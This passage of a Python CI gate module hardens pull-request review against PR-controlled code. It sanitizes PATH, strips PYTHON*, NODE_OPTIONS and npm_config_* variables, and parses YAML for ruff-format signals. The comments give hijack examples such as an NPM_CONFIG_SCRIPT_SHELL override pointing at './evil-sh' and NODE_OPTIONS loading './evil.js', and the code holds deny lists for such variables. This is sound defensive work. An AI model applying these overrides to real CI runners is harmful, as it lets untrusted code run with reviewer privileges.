if not entry:
continue
if (
"/" in entry
or "\\" in entry
or entry.startswith("./")
or entry.startswith("../")
or entry.endswith(".py")
):
return True
return False
def _resolve_pr_base_spec(
worktree: Path,
base_ref: Optional[str],
*,
git_cmd: Optional[str] = None,
) -> Optional[str]:
"""Resolve ``base_ref`` to a refspec verifiable inside ``worktree``.
Returns the resolved refspec (e.g. ``"origin/main"``) when it exists,
or ``None`` when no candidate verifies. Tried in order:
1. The caller-supplied ``base_ref`` itself (already qualified).
2. ``origin/<base_ref>`` (fetched PR base).
3. ``origin/main`` / ``origin/master`` / ``main`` / ``master``.
Verification uses ``git rev-parse --verify`` with a short timeout
and never raises: a non-git worktree, missing tool, or hang returns
``None`` and the caller falls back to the working-tree-only check.
"""
trusted_git = git_cmd or _resolve_trusted_git(worktree)
if not trusted_git:
return None
git_env = _build_subprocess_env(worktree)
candidates: List[str] = []
if base_ref:
# When the caller already resolved a fully-qualified ref
# (e.g. ``refs/remotes/pdd-checkup/pr-1095/base`` populated by
# ``_refresh_pr_base_ref``), try it FIRST and do not also try
# ``origin/refs/...`` — that path is guaranteed to fail and
# just wastes a git-rev-parse call on every gate-discovery
# invocation.
if base_ref.startswith("refs/"):
candidates.append(base_ref)
else:
# Prefer the remote-tracking ref so we compare against the
# PR's actual target. A naked ``main`` may be ahead of
# ``origin/main`` if a local merge has happened in the
# worktree.
candidates.append(f"origin/{base_ref}")
candidates.append(base_ref)
candidates.extend(["origin/main", "origin/master", "main", "master"])
seen: set = set()
for cand in candidates:
if cand in seen:
continue
seen.add(cand)
try:
res = subprocess.run(
[trusted_git, "-C", str(worktree), "rev-parse", "--verify", cand],
capture_output=True,
env=git_env,
text=True,
check=False,
timeout=5,
)
except (OSError, subprocess.SubprocessError) as exc:
logger.debug("checkup-gates: base verify failed for %r: %s", cand, exc)
continue
if res.returncode == 0 and res.stdout.strip():
return cand
return None
def _git_diff_check_gate(git_cmd: str, base_spec: Optional[str] = None) -> Gate:
"""Build the ``git diff --check`` gate.
When ``base_spec`` is provided the gate runs against the PR range
(``<base>...HEAD``) so a committed whitespace/conflict-marker
failure is caught even when the worktree itself is clean. When no
base is resolvable (synthetic tests, detached HEAD, etc.) we fall
back to the plain working-tree check — strictly weaker but
preserves the existing single-commit smoke-test contract.
"""
if base_spec:
return Gate(
name="git-diff-check",
cmd=[git_cmd, "diff", "--check", f"{base_spec}...HEAD"],
source=f"git:{base_spec}...HEAD",
required_fix_hint=(
f"Run `git diff --check {base_spec}...HEAD` locally and fix "
"the whitespace/conflict marker issues it reports in the PR diff."
),
)
return Gate(
name="git-diff-check",
cmd=[git_cmd, "diff", "--check"],
source="git",
required_fix_hint=(
"Run `git diff --check` locally and fix the whitespace/conflict "
"marker issues it reports."
),
)
def _is_git_worktree(worktree: Path, *, git_cmd: Optional[str] = None) -> bool:
"""Return True when ``worktree`` is inside a git checkout.
A non-git directory (typical in unit tests that mock
``_setup_pr_worktree``) cannot run ``git diff --check``, so the
gate is omitted to keep the loop's existing fail-open contract for
those callers. Production review loops always run inside a real
``git fetch pull/N/head`` worktree so this guard is invisible there.
"""
trusted_git = git_cmd or _resolve_trusted_git(worktree)
if not trusted_git:
return False
if (worktree / ".git").exists():
return True
git_env = _build_subprocess_env(worktree)
try:
result = subprocess.run(
[trusted_git, "-C", str(worktree), "rev-parse", "--is-inside-work-tree"],
capture_output=True,
env=git_env,
text=True,
check=False,
timeout=5,
)
except (OSError, subprocess.SubprocessError):
return False
return result.returncode == 0 and result.stdout.strip() == "true"
# Trusted runner for the doc-contract gate. Executed as ``python -I -B -c
# <this>`` with argv = [worktree, base_ref, trusted_root].
#
# Two things make this run the TRUSTED checker, never a PR-controlled copy
# living in the reviewed worktree (``run_gates`` executes every gate with
# ``cwd=<worktree>``):
# * BEFORE importing ``pdd``, scrub ``sys.path`` of every empty entry, the
# process CWD, and anything resolving inside the worktree (defense in depth
# on top of ``-I``, which already keeps the CWD/script dir off the path).
# * Prepend ``trusted_root`` — the directory that contains the installed/base
# ``pdd`` package, computed by ``discover_gates`` in the trusted PARENT
# process from its own ``__file__`` (never from the worktree). This pins the
# import to the trusted checker AND keeps the gate functional when ``pdd`` is
# reachable only via a source/editable checkout rather than site-packages
# (issue #1303 review).
_DOC_CONTRACT_RUNNER = (
"import sys, os\n"
"_wt = os.path.realpath(sys.argv[1])\n"
"_cwd = os.path.realpath(os.getcwd())\n"
"_trusted = sys.argv[3] if len(sys.argv) > 3 else ''\n"
"sys.path[:] = [\n"
" _p for _p in sys.path\n"
" if _p\n"
" and os.path.realpath(_p) != _wt\n"
" and not os.path.realpath(_p).startswith(_wt + os.sep)\n"
" and os.path.realpath(_p) != _cwd\n"
"]\n"
"if _trusted and os.path.isdir(_trusted):\n"
" sys.path.insert(0, _trusted)\n"
"from pdd.checkup_gates import run_doc_contract_check\n"
"sys.exit(run_doc_contract_check(sys.argv[1], sys.argv[2] if len(sys.argv) > 2 else None))"
)
def discover_gates(
worktree: Path,
changed_files: Sequence[str],
*,
extra_allow: Sequence[str] = (),
base_ref: Optional[str] = None,
) -> List[Gate]:
"""Return the conservative deterministic gate set for ``worktree``.
``changed_files`` is the PR's changed-file inventory (POSIX relative
paths). It scopes per-file gates such as ``py_compile``, ``ruff``,
``black`` and ``mypy``.
``extra_allow`` is a tuple of additional gate-name allowlist entries
supplied by the operator. Currently this is a forward-compatibility
hook: every discovered gate is allowlist-only and ``extra_allow`` is
threaded through but not yet used to widen discovery. The argument is
accepted so the CLI surface and the discovery surface can co-evolve
without breaking signature stability.
``base_ref`` is the PR's target branch (e.g. ``"main"``). When
provided and verifiable in ``worktree``, the ``git-diff-check`` gate
runs across the PR range (``<base>...HEAD``) so a committed
whitespace/conflict-marker failure is caught even when the worktree
itself is clean. Acceptance criterion from issue #1092.
"""
_ = extra_allow # reserved for v2; CLI plumbing already passes it through.
gates: List[Gate] = []
trusted_git = _resolve_trusted_git(worktree)
if trusted_git and _is_git_worktree(worktree, git_cmd=trusted_git):
base_spec = _resolve_pr_base_spec(worktree, base_ref, git_cmd=trusted_git)
gates.append(_git_diff_check_gate(trusted_git, base_spec))
# doc-contract gate (Issue #1303)
gates.append(
Gate(
name="doc-contract",
cmd=[
sys.executable,
# ``-I`` (isolated) ignores PYTHON* env vars, the user
# site, and — critically — does NOT prepend the CWD/script
# dir to ``sys.path``. ``run_gates`` runs every gate with
# ``cwd=worktree``; without isolation a ``-c`` snippet's
# ``import pdd`` would resolve to the PR-controlled
# ``pdd/checkup_gates.py`` inside the reviewed worktree,
# letting the reviewed code bypass the gate or execute
# arbitrary code (issue #1303 review). The snippet below
# also defensively scrubs any worktree-resolving entry from
# ``sys.path`` and prepends ``trusted_root`` (this process's
# own package dir) so the TRUSTED checker always runs.
"-I",
"-B",
"-c",
_DOC_CONTRACT_RUNNER,
str(worktree.absolute()),
base_ref or "",
# Directory containing THIS (trusted/base) ``pdd`` package,
# resolved in the parent process — never from the worktree.
str(Path(__file__).resolve().parent.parent),
],
source="README.md",
required_fix_hint=(
"Verify that all added user-facing surfaces (CLI options, skip behaviors, "
"environment variables, and .pddrc keys) are fully documented."
),
)
)
gates.extend(_discover_npm_gates(worktree, changed_files=changed_files))
gates.extend(_discover_python_gates(worktree, changed_files, base_ref=base_ref))
# Stable order: git-diff-check first, then language-specific gates
# in discovery order. The runner walks the list left-to-right so
# operators see consistent artifact filenames across rounds.
return gates
# ---------------------------------------------------------------------------
# Execution
# ---------------------------------------------------------------------------
def _truncate(text: str) -> str:
"""Truncate ``text`` to roughly ``_EXCERPT_LIMIT`` characters.
When truncation actually fires, append a short marker so an operator
can tell that the artifact is incomplete.
"""
if text is None:
return ""
if len(text) <= _EXCERPT_LIMIT:
return text
marker = "\n[...truncated]\n"
keep = _EXCERPT_LIMIT - len(marker)
return text[:keep] + marker
def _safe_slug(name: str) -> str:
"""Filesystem-safe slug for ``name``."""
return re.sub(r"[^A-Za-z0-9._-]+", "_", name)[:120] or "gate"
# Iter-38 Finding 3: Python's module resolver consults these env vars
# when an installed tool (mypy/ruff/black) imports a plugin. A developer
# whose shell sets ``PYTHONPATH=.`` (or any path that resolves inside
# the gate's ``cwd``) would otherwise let a tool import a PR-controlled
# module from the worktree even when the plugin entry in the tool's
# config is a "pure package" name like ``my_project.mypy_plugin``.
# Strip the whole family at the gate boundary so a PR cannot escalate
# through inherited interpreter configuration.
_STRIPPED_PYTHON_ENV_KEYS: Tuple[str, ...] = (
"PYTHONPATH",
"PYTHONHOME",
"PYTHONSTARTUP",
"PYTHONUSERBASE",
"PYTHONNOUSERSITE",
)
# Iter-39 Finding 3: npm reads ``NPM_CONFIG_<KEY>`` (uppercase) AND
# ``npm_config_<key>`` (lowercase) as env-overrides for every ``.npmrc``
# key — including ``script-shell``, which redirects the shell ``npm
# run`` uses to execute the validated argv. Confirmed against npm 10.x:
# ``NPM_CONFIG_SCRIPT_SHELL=./evil-sh npm run format:check`` executes
# ``./evil-sh -c "prettier --check ."`` even when ``.npmrc`` is safe.
# pnpm reads the same lowercase ``npm_config_*`` family.
# Iter-39 Finding 3 (cont): ``NODE_OPTIONS`` honours ``--require=<path>``
# which loads arbitrary JS into every node-launched process — the
# ``npx --no-install tsc`` gate spawns node, so a PR-controlled
# ``./evil.js`` is loaded before tsc's main runs. ``NODE_PATH`` is
# Node's ``PYTHONPATH`` analogue: an absolute or worktree-resolving
# value would let an editable JS plugin be imported by the gate.
_STRIPPED_NODE_ENV_KEYS: Tuple[str, ...] = (
"NODE_OPTIONS",
"NODE_PATH",
)
_STRIPPED_NODE_ENV_PREFIXES: Tuple[str, ...] = (
"NPM_CONFIG_",
"npm_config_",
)
def _sanitized_path(worktree: Path) -> str:
"""Return a PATH string with worktree-resolving and relative entries
stripped, suitable for both ``shutil.which`` discovery probes and
the runtime subprocess env.
iter-40 Finding 1: an operator whose shell sets ``PATH=.:$PATH``
(or any entry that resolves inside the loop-owned worktree) would
otherwise let a PR-shipped ``./mypy`` / ``./npm`` / ``./npx``
binary become the gate. ``shutil.which("mypy")`` against that
PATH returns the PR's shim, the gate runs it with ``cwd=worktree``,
and the malicious binary can exit 0, leak env, or mutate files.
The sanitization rules — all conservative — drop:
* empty entries (``::`` in PATH means "current directory" on
POSIX, equivalent to ``.``)
* ``.`` (current working directory)
* any entry that does not start with ``/`` (absolute) — pure
relative paths resolve against ``cwd``
* any entry whose resolved real-path is inside ``worktree``
"""
raw_path = os.environ.get("PATH", "") or os.defpath
worktree_resolved: Optional[Path]
try:
worktree_resolved = worktree.resolve()
except (OSError, RuntimeError):
worktree_resolved = None
clean: List[str] = []
for entry in raw_path.split(os.pathsep):
if not entry or entry == ".":
continue
if not entry.startswith(os.sep):
# Pure relative — resolves against the gate's cwd, which
# IS the worktree. Reject.
continue
if worktree_resolved is not None:
try:
entry_resolved = Path(entry).resolve()
except (OSError, RuntimeError):
continue
try:
entry_resolved.relative_to(worktree_resolved)
except ValueError:
# Not inside the worktree — keep it.
clean.append(entry)
else:
# Inside the worktree — drop it.
continue
else:
clean.append(entry)
return os.pathsep.join(clean)
# Codex pass-11 finding 2: workflow/CloudBuild YAML can contain
# non-executable text like ``name: ruff format migration`` that
# still matches a bare ``\bruff\s+format\b`` regex (the step *name*
# field, not a run command). The workflow scan parses the YAML and
# only inspects the values of exec-intent keys (see ``_RUFF_FORMAT_
# EXEC_KEYS``), so non-exec fields never contribute a signal.
_RUFF_FORMAT_CMD_PATTERN = re.compile(r"\bruff\s+format\b")
# YAML mapping keys whose value carries a shell command / exec intent.
# Codex pass-13 finding 3: ``args`` is included so CloudBuild steps that
# invoke ruff via ``args: ["-c", "ruff format --check ."]`` are detected;
# the previous line scan only honoured ``run``/``script``/``command``/
# ``entrypoint`` and missed the inline-args form.
_RUFF_FORMAT_EXEC_KEYS = frozenset({"run", "script", "command", "entrypoint", "args"})
def _parse_ruff_format_hooks_from_text(text: str) -> List[Dict[str, object]]:
"""Return the full hook-dict for every ``id: ruff-format`` hook in
YAML text, with top-level ``files:``/``exclude:`` defaults merged in.
Shared by ``_parse_ruff_format_scopes_from_text`` (scope filtering)
and ``_file_has_unchanged_ruff_format_signal`` (full-config comparison
for codex pass-11 finding 3 — stages/args changes now detected).
Returns an empty list on parse error or when no such hook exists.
"""
import yaml # local import to keep top-of-module imports tight
try:
data = yaml.safe_load(text)
except yaml.YAMLError:
return []
if not isinstance(data, dict):
return []
top_files = data.get("files") if isinstance(data.get("files"), str) else None
top_exclude = data.get("exclude") if isinstance(data.get("exclude"), str) else None
# Codex pass-11 finding 3: top-level ``default_stages`` applies when
# a hook does not declare its own ``stages``. Propagate it so a PR
# that changes ``default_stages: [pre-commit]`` → ``[manual]`` is
# detected as a behavioral change even when the hook dict itself is
# otherwise unchanged.
top_default_stages = data.get("default_stages")
repos = data.get("repos")
if not isinstance(repos, list):
return []
hooks_out: List[Dict[str, object]] = []
for repo in repos:
if not isinstance(repo, dict):
continue
hooks = repo.get("hooks")
if not isinstance(hooks, list):
continue
for hook in hooks:
if not isinstance(hook, dict) or hook.get("id") != "ruff-format":
continue
merged: Dict[str, object] = dict(hook)
if "files" not in merged and top_files is not None:
merged["files"] = top_files
if "exclude" not in merged and top_exclude is not None:
merged["exclude"] = top_exclude
if "stages" not in merged and top_default_stages is not None:
merged["stages"] = top_default_stages
hooks_out.append(merged)
return hooks_out
# The pre-commit stage that never runs as part of the normal commit/CI
# flow — a hook gated to it (explicitly via ``stages:`` or by inheriting
# top-level ``default_stages``) runs only on an explicit
# ``pre-commit run --hook-stage manual`` invocation.
_PRE_COMMIT_MANUAL_STAGE = "manual"
def _hook_runs_automatically(hook: Dict[str, object]) -> bool:
"""Return True if a parsed (stage-merged) pre-commit hook runs as part
of the normal commit/CI flow rather than manual-only.
``_parse_ruff_format_hooks_from_text`` merges top-level
``default_stages`` into each hook's ``stages`` when the hook declares
none, so ``hook["stages"]`` reflects the EFFECTIVE stages. A hook with
no effective stages runs by default. A hook whose effective stages are
exactly the manual stage never runs automatically and MUST NOT count
as a ruff-format opt-in signal (issue #1433 review: an unchanged
``stages: [manual]`` hook — or one inheriting top-level
``default_stages: [manual]`` — was emitting a false blocking
ruff-format gate for ordinary changed Python files).
"""
stages = hook.get("stages")
if isinstance(stages, str):
# Scalar form (e.g. ``stages: manual``): treat as a 1-element list
# so a manual-only scalar is honoured rather than mis-read as active.
stages = [stages]
if not isinstance(stages, list) or not stages:
return True
return any(s != _PRE_COMMIT_MANUAL_STAGE for s in stages)
def _pre_commit_has_active_ruff_format(text: str) -> bool:
"""Return True if ``.pre-commit-config.yaml`` text declares at least
one ``id: ruff-format`` hook that runs automatically (not manual-only).
This is the stage-aware pre-commit opt-in signal: a config whose only
ruff-format hook is manual-only (explicit ``stages: [manual]`` or an
inherited top-level ``default_stages: [manual]``) does NOT signal.
"""
return any(
_hook_runs_automatically(hook)
for hook in _parse_ruff_format_hooks_from_text(text)
)
def _parse_ruff_format_scopes_from_text(
text: str,
) -> List[Tuple[Optional[str], Optional[str]]]:
"""Return raw ``(files_pat, exclude_pat)`` string pairs for every
AUTOMATICALLY-RUNNING ``id: ruff-format`` hook found in YAML text.
Delegates to ``_parse_ruff_format_hooks_from_text`` and extracts only
the scope fields. Manual-only hooks (``stages: [manual]`` or inherited
``default_stages: [manual]``) are skipped so their scope never narrows
or widens the gate's file set (issue #1433 review: the scope parser
previously dropped the merged ``stages`` value before filtering).
Returns an empty list on parse error or when no such hook exists.
"""
result: List[Tuple[Optional[str], Optional[str]]] = []
for hook in _parse_ruff_format_hooks_from_text(text):
if not _hook_runs_automatically(hook):
continue
files_pat = hook.get("files")
exclude_pat = hook.get("exclude")
result.append(
(
files_pat if isinstance(files_pat, str) else None,
exclude_pat if isinstance(exclude_pat, str) else None,
)
)
return result
def _ruff_format_pre_commit_scope(
worktree: Path,
) -> Optional[List[Tuple[Optional["re.Pattern[str]"], Optional["re.Pattern[str]"]]]]:
"""Return compiled ``(files_re, exclude_re)`` pairs for ALL
``id: ruff-format`` hooks in ``.pre-commit-config.yaml``.
Codex pass-8 finding 3: pre-commit hooks can scope file matching
via ``files:``/``exclude:`` regex patterns. Running ``ruff format
--check`` against the full ``changed_py`` would block files the
configured hook would not check.
Codex pass-9 finding 3: pre-fix returned after the FIRST matching
hook, silently dropping later hooks with different scopes. Now
returns a list with one entry per hook so callers can union them.
Returns ``None`` when the file is absent or unparseable (caller
falls back to no scope filter). Returns an empty list when the file
is present but declares no ``ruff-format`` hook (also treated as no
filter by the caller).
"""
pcc = worktree / ".pre-commit-config.yaml"
if not pcc.is_file():
return None
try:
text = pcc.read_text(encoding="utf-8", errors="replace")
except OSError as exc:
logger.debug(
"ruff-format pre-commit scope read failed: %s",
type(exc).__name__,
)
return None
raw_scopes = _parse_ruff_format_scopes_from_text(text)
if not raw_scopes:
return None
result: List[Tuple[Optional["re.Pattern[str]"], Optional["re.Pattern[str]"]]] = []
for files_pat, exclude_pat in raw_scopes:
files_re: Optional["re.Pattern[str]"] = None
exclude_re: Optional["re.Pattern[str]"] = None
if files_pat:
try:
files_re = re.compile(files_pat)
except re.error:
pass
if exclude_pat:
try:
exclude_re = re.compile(exclude_pat)
except re.error:
pass
result.append((files_re, exclude_re))
return result
def _filter_changed_py_for_ruff_format(
worktree: Path, changed_py: Sequence[str]
) -> List[str]:
"""Apply all ``.pre-commit-config.yaml`` ruff-format hook scopes to
``changed_py``.
Codex pass-8 finding 3: filter by pre-commit hook scope so the
gate only checks files the configured hook would see.
Codex pass-9 finding 3: a file is kept when it falls within ANY
declared hook's scope (union). Pre-fix kept only files within the
FIRST hook's scope, silently dropping files that later hooks covered.
Returns ``changed_py`` unchanged when no scope is declared or when
the pre-commit config is absent/unreadable (fail-open).
"""
scopes = _ruff_format_pre_commit_scope(worktree)
if not scopes:
return list(changed_py)
out: List[str] = []
for path in changed_py:
for files_re, exclude_re in scopes:
if files_re is not None and not files_re.search(path):
continue
if exclude_re is not None and exclude_re.search(path):
continue
out.append(path)
break
return out
def _strip_yaml_comments(text: str) -> str:
"""Strip ``#``-to-EOL comments from a YAML-like text body.
Codex pass-8 finding 1: scanning the raw text matched
``ruff-format`` / ``ruff format`` mentions inside comments or
TODOs, producing a false-positive ruff-format gate. YAML's only
line-comment syntax is ``#`` to end-of-line; strip it before the
regex scan. Conservative: ``#`` inside quoted strings is also
stripped (rare in CI configs and the worst-case effect is a
missed signal, not a false positive). Multi-line block strings
are still scanned in full since ``#`` mid-block is uncommon.
"""
out_lines: List[str] = []
for line in text.splitlines():
# Drop everything from the first ``#`` to EOL. Preserve the
# rest of the line so YAML structure context (key:, sequence
# markers) is still visible to the regex.
comment_at = line.find("#")
if comment_at >= 0:
line = line[:comment_at]
out_lines.append(line)
return "\n".join(out_lines)
def _exec_value_has_ruff_format(value: object) -> bool:
"""Return True if an exec-key's value invokes ``ruff format``.
The value of a ``run``/``script``/``command``/``entrypoint`` key is a
string (possibly a multi-line block scalar resolved by the YAML
loader); ``args`` is a list of argv tokens. Block scalars preserve
their ``#`` lines verbatim, so strip shell comments per line before
matching — a ``# TODO: enable ruff format`` line inside a ``run:``
block is a comment, not an executed command.
"""
if isinstance(value, str):
return bool(_RUFF_FORMAT_CMD_PATTERN.search(_strip_yaml_comments(value)))
if isinstance(value, list):
joined = " ".join(
str(item) for item in value if isinstance(item, (str, int, float, bool))
)
return bool(_RUFF_FORMAT_CMD_PATTERN.search(_strip_yaml_comments(joined)))
return False
def _node_has_ruff_format(node: object) -> bool:
"""Recursively walk a parsed YAML node for a ``ruff format`` invocation
in an executable position (the value of an exec-intent mapping key)."""
if isinstance(node, dict):
for key, value in node.items():
if isinstance(key, str) and key.lower() in _RUFF_FORMAT_EXEC_KEYS:
if _exec_value_has_ruff_format(value):
return True
if _node_has_ruff_format(value):
return True
return False
if isinstance(node, list):
return any(_node_has_ruff_format(item) for item in node)
return False
def _workflow_text_has_ruff_format(text: str) -> bool:
"""Return True if ``text`` (a workflow/CloudBuild YAML) invokes
``ruff format`` in an executable position.
Codex pass-11 finding 2 + pass-13 findings 2/3: the previous
line-based scan was in tension between two failure modes — it
false-positived on non-executable multi-line block scalars (e.g. an
``env: NOTE: |`` note mentioning ``ruff format``) yet missed the
inline ``args: ["-c", "ruff format --check ."]`` CloudBuild form.
Parsing the YAML and walking only the values of exec-intent keys
(``run``/``script``/``command``/``entrypoint``/``args``) resolves
both: non-exec keys are never inspected, and ``args`` lists are
joined and matched.
Fail-open: any parse error returns False (a missed signal never
blocks a clean verdict), consistent with the rest of this module.
"""
import yaml # local import to keep top-of-module imports tight
try:
data = yaml.safe_load(text)
except yaml.YAMLError:
return False
return _node_has_ruff_format(data)
def _git_show_text(worktree: Path, ref: str, path: str) -> Optional[str]:
"""Return the contents of ``path`` at ``ref`` via ``git show``,
or ``None`` on any failure. Used to read the pre-PR version of
a CI config so the ruff-format helper can distinguish a PR that
introduced/modified the signal from one that left an existing
signal unchanged.
"""
trusted_git = _resolve_trusted_git(worktree)
if not trusted_git:
return None
try:
result = subprocess.run(
[trusted_git, "-C", str(worktree), "show", f"{ref}:{path}"],
capture_output=True,
text=True,
check=False,
timeout=15,
)
except (OSError, subprocess.SubprocessError) as exc:
logger.debug(
"ruff-format git-show failed for %s@%s: %s",
path,
ref,
type(exc).__name__,
)
return None
if result.returncode != 0:
return None
return result.stdout
def _file_has_unchanged_ruff_format_signal(
worktree: Path, rel_path: str, base_ref: Optional[str]
) -> bool:
"""Return True if ``rel_path`` carries the ruff-format signal at
BOTH ``base_ref`` and the worktree version, AND (for pre-commit
configs) the full hook configuration is unchanged between those
versions.
Codex pass-8 finding 2: distinguishes a PR-introduced signal from an
unchanged one. Pre-fix whole-file exclusion missed unchanged signals in
files touched for unrelated reasons.
Codex pass-9 finding 2: pre-fix only compared the regex presence; a PR
could narrow ``files:``/``exclude:`` to suppress the gate against its
own files. Added scope-set comparison.
Codex pass-11 finding 2 + 3 / issue #1433 review:
- Workflow files use the exec-context-aware ``_workflow_text_has_ruff
_format`` scan so a YAML key like ``name: ruff-format migration``
does not trigger a false signal.
- For ``.pre-commit-config.yaml`` the signal is stage-aware: a
manual-only ``id: ruff-format`` hook (explicit ``stages: [manual]``
or inherited ``default_stages: [manual]``) does not count. The full
hook dicts are also compared so a PR that adds ``stages: [manual]``
to an active hook is detected as a change and the signal drops.
Fail-open: missing ``base_ref``, unresolvable git read, or missing
signal at either version all return False.
"""
is_pre_commit = rel_path == ".pre-commit-config.yaml"
try:
post_text = (worktree / rel_path).read_text(encoding="utf-8", errors="replace")
except OSError:
return False
# Use the same exec-context-aware check as the scanner so a step-name
# false positive (``name: ruff format migration``) does not count.
if is_pre_commit:
# Stage-aware (issue #1433 review): an unchanged manual-only
# ruff-format hook must NOT count as a signal even in a touched file.
post_has_signal = _pre_commit_has_active_ruff_format(post_text)
else:
post_has_signal = _workflow_text_has_ruff_format(post_text)
if not post_has_signal:
return False
if not base_ref:
return False
pre_text = _git_show_text(worktree, base_ref, rel_path)
if pre_text is None:
return False
if is_pre_commit:
pre_has_signal = _pre_commit_has_active_ruff_format(pre_text)
else:
pre_has_signal = _workflow_text_has_ruff_format(pre_text)
if not pre_has_signal:
return False
# Codex pass-11 finding 3: for pre-commit configs, compare full hook
# configs (including stages/args/always_run) so behavioural changes
# beyond files/exclude are detected. Serialise each hook dict to a
# stable JSON string for hashing.
if is_pre_commit:
pre_hooks = {
json.dumps(h, sort_keys=True, default=str)
for h in _parse_ruff_format_hooks_from_text(pre_text)
}
post_hooks = {
json.dumps(h, sort_keys=True, default=str)
for h in _parse_ruff_format_hooks_from_text(post_text)
}
if pre_hooks != post_hooks:
return False
return True
def _ruff_format_signaled_by_ci(
worktree: Path,
*,
exclude_paths: Optional[Set[str]] = None,
base_ref: Optional[str] = None,
) -> Tuple[bool, bool]:
"""Return ``(pre_commit_signaled, workflow_signaled)`` for ruff format.
Splitting the signal type lets the gate decide whether to apply the
pre-commit hook's ``files:``/``exclude:`` scope (codex pass-11
finding 1): the scope belongs to the pre-commit step, not to a
GitHub Actions / CloudBuild workflow invocation. When a workflow also
signals ``ruff format``, the scope filter must be skipped because the
workflow may check files outside the pre-commit hook's declared scope.
Codex review pass-6 finding 3: a project may run ``ruff format
--check`` in CI using Ruff's default formatter config (no
``[tool.ruff.format]`` section). Without this signal the gate
would silently skip ``ruff-format`` and the original CI-parity
gap (Bug #2) re-emerges as a false negative — local clean +
failing CI. ``.pre-commit-config.yaml`` is scanned via the
stage-aware ``_pre_commit_has_active_ruff_format`` (an ``id:
ruff-format`` hook signals only when it runs automatically — not
manual-only); ``cloudbuild-*-ci.yaml`` and ``.github/workflows/
*.yml`` / ``*.yaml`` are scanned via the exec-context-aware
``_workflow_text_has_ruff_format`` so a ``run: ruff format ...``
command triggers the signal but a step ``name:`` does not.
Codex pass-7 finding 2: ``exclude_paths`` is a per-FILE
suppression set (worktree-relative POSIX paths the PR diff
touched). For these paths the helper REQUIRES the signal to be
unchanged between ``base_ref`` and HEAD (codex pass-8 finding 2:
pre-fix whole-file exclusion missed unchanged signals in
touched-for-unrelated-reasons files). When ``base_ref`` cannot
be resolved we conservatively skip the touched file's signal,
matching the pre-pass-8 behaviour.
Codex pass-8 finding 1: YAML ``#``-to-EOL comments are stripped
before scanning so a ``# TODO: enable ruff format`` mention in a
comment does NOT trigger the signal.
Issue #1433 review: the pre-commit signal is stage-aware — a
manual-only ``id: ruff-format`` hook (``stages: [manual]`` or an
inherited top-level ``default_stages: [manual]``) never runs in the
normal flow and must not opt the gate in. Workflow and CloudBuild
signals remain independent: either can opt in on its own.
Fail-OPEN: any IO error returns ``(False, False)`` so the absence
of a signal never blocks clean verdicts.
"""
skip = exclude_paths or set()
candidates: List[Path] = []
pre_commit = worktree / ".pre-commit-config.yaml"
if pre_commit.is_file():
candidates.append(pre_commit)
for cb in sorted(worktree.glob("cloudbuild-*-ci.yaml")):
if cb.is_file():
candidates.append(cb)
workflows_dir = worktree / ".github" / "workflows"
if workflows_dir.is_dir():
for pattern in ("*.yml", "*.yaml"):
for yml in sorted(workflows_dir.glob(pattern)):
if yml.is_file():
candidates.append(yml)
pre_commit_signaled = False
workflow_signaled = False
for path in candidates:
try:
rel = path.relative_to(worktree).as_posix()
except ValueError:
continue
is_pre_commit = rel == ".pre-commit-config.yaml"
if rel in skip:
# Codex pass-8 finding 2: for a touched file, only count
# the signal when it was already present pre-PR. This
# blocks a PR from silently adding the signal AND it
# honours an unchanged signal even when the PR touched
# another part of the same file.
if _file_has_unchanged_ruff_format_signal(worktree, rel, base_ref):
if is_pre_commit:
pre_commit_signaled = True
else:
workflow_signaled = True
continue
try:
text = path.read_text(encoding="utf-8", errors="replace")
except OSError as exc:
logger.debug(
"ruff-format CI signal read failed for %s: %s",
path,
type(exc).__name__,
)
continue
if is_pre_commit:
# Pre-commit: stage-aware signal (issue #1433 review). A
# manual-only ``id: ruff-format`` hook (explicit
# ``stages: [manual]`` or inherited ``default_stages: [manual]``)
# never runs in the normal flow and must NOT opt the gate in.
if _pre_commit_has_active_ruff_format(text):
pre_commit_signaled = True
else:
# Workflow/CloudBuild: use the exec-context-aware scan
# (codex pass-11 finding 2) to skip non-exec YAML fields.
if _workflow_text_has_ruff_format(text):
workflow_signaled = True
return (pre_commit_signaled, workflow_signaled)
def _resolve_tool(tool: str, worktree: Path) -> Optional[str]:
"""Return the absolute path to ``tool`` via the sanitized PATH,
or ``None`` when the tool is not on the trusted PATH.
iter-40 Finding 1: every gate that previously stored a bare tool
name (``mypy`` / ``ruff`` / ``black`` / ``npx`` / ``npm`` / ``yarn``
/ ``pnpm`` / ``bun``) in ``Gate.cmd`` re-consults PATH at
``subprocess.run`` time. Resolving to an absolute path at discovery
time AND running with a sanitized PATH closes both halves of the
PATH-override attack: discovery cannot pick up the PR shim, and
the runner cannot fall back to it.
"""
return shutil.which(tool, path=_sanitized_path(worktree))
def _resolve_trusted_git(worktree: Path) -> Optional[str]:
"""Return an absolute git binary path outside ``worktree``.
The gate layer invokes git before the normal per-gate runner in
discovery, changed-file scanning, and PR-base refresh. Those call
sites must not run bare ``git`` with ``cwd=worktree`` because an
inherited ``PATH=.:$PATH`` would execute a PR-shipped ``./git`` shim
before the sanitized runner starts.
"""
return _resolve_tool("git", worktree)
def _build_subprocess_env(worktree: Optional[Path] = None) -> Dict[str, str]:
"""Build the environment dict the runner injects for each gate.
Inherits the caller's PATH/HOME (so tools resolve), strips ``PDD_*``
envs (so the gate cannot inherit reviewer/fixer state or token
files), the Python import-path family (``PYTHONPATH`` etc., so a
PR-controlled module under the worktree cannot be imported by a
pure-package plugin reference; iter-38 Finding 3), AND the
npm/Node import-path/config family
(``NPM_CONFIG_*``/``npm_config_*``/``NODE_OPTIONS``/``NODE_PATH``;
iter-39 Finding 3). Forces ``CI=1``, ``NO_COLOR=1``,
``FORCE_COLOR=0`` for deterministic non-interactive output and
``COREPACK_ENABLE_AUTO_PIN=0`` so Corepack-managed yarn/pnpm
cannot mutate ``package.json`` on first run (iter-39 Finding 1).
When ``worktree`` is supplied, the runtime ``PATH`` is also
sanitized (iter-40 Finding 1): empty entries, ``.``, relative
entries, and any entry that resolves inside ``worktree`` are
stripped. An operator with ``PATH=.:$PATH`` (or any entry that
points at the loop's worktree) would otherwise let a PR-shipped
``./mypy`` / ``./npm`` / ``./npx`` shim become a downstream
tool spawn — ``Gate.cmd`` itself stores absolute paths so the
top-level binary is safe, but node/npm subprocesses re-consult
PATH for nested tools like ``prettier``.
"""
env: Dict[str, str] = {}
for key, value in os.environ.items():
if key.startswith("PDD_"):
continue
if key in _STRIPPED_PYTHON_ENV_KEYS:
continue
if key in _STRIPPED_NODE_ENV_KEYS:
continue
